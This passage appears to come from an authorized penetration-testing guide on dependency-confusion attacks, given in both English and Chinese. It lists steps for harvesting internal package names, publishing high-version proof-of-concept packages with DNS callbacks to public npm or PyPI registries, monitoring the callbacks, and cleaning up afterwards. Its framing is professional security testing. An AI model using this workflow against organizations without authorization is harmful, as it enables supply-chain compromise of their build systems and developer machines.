11Remove PoC packages from public registries
npm unpublish
/ PyPI delete
12Deliver remediation: registry pinning per ecosystemReport template above
Timing: CI/CD callbacks arrive within minutes of a commit; developer workstations may take days or weeks. Keep canary listeners running for the full engagement window.
Coordination: Confirm scope includes public registry publishing. Pre-coordinate with the target security team. Document package names, versions, and publication timestamps. Remove PoC packages promptly after the engagement window closes.

步骤操作工具或命令
1解析 lock file 以获取内部名称jq、grep、awk
2在 GitHub 中挖掘 package manifest 和 .npmrcgh api search/code
3从 JS source map 中提取名称curl、jq
4检查公共 registry 中的可用性curl 请求 registry API
5使用 confused 进行扫描
confused -l npm package-lock.json
6启动 DNS canary listenerinteractsh-client
7构建 PoC package(高版本、安全 callback)自定义 setup.py / package.json
8发布到公共 registry
npm publish
/
twine upload
9监控 callbackinteractsh / Burp Collaborator
10使用 callback 证据记录发现截图、DNS 日志
11从公共 registry 移除 PoC package
npm unpublish
/ PyPI delete
12交付修复方案:按生态系统固定 registry上方报告模板
时间安排:CI/CD callback 通常会在 commit 后几分钟内到达; 开发者工作站则可能需要数天或数周。应在整个 engagement window 内 持续运行 canary listener。
协调事项:确认 engagement scope 是否包括向公共 registry 发布 package。 应提前与目标安全团队协调。记录 package 名称、 版本和发布时间戳,并在 engagement window 结束后立即移除 PoC package。

Key References

关键参考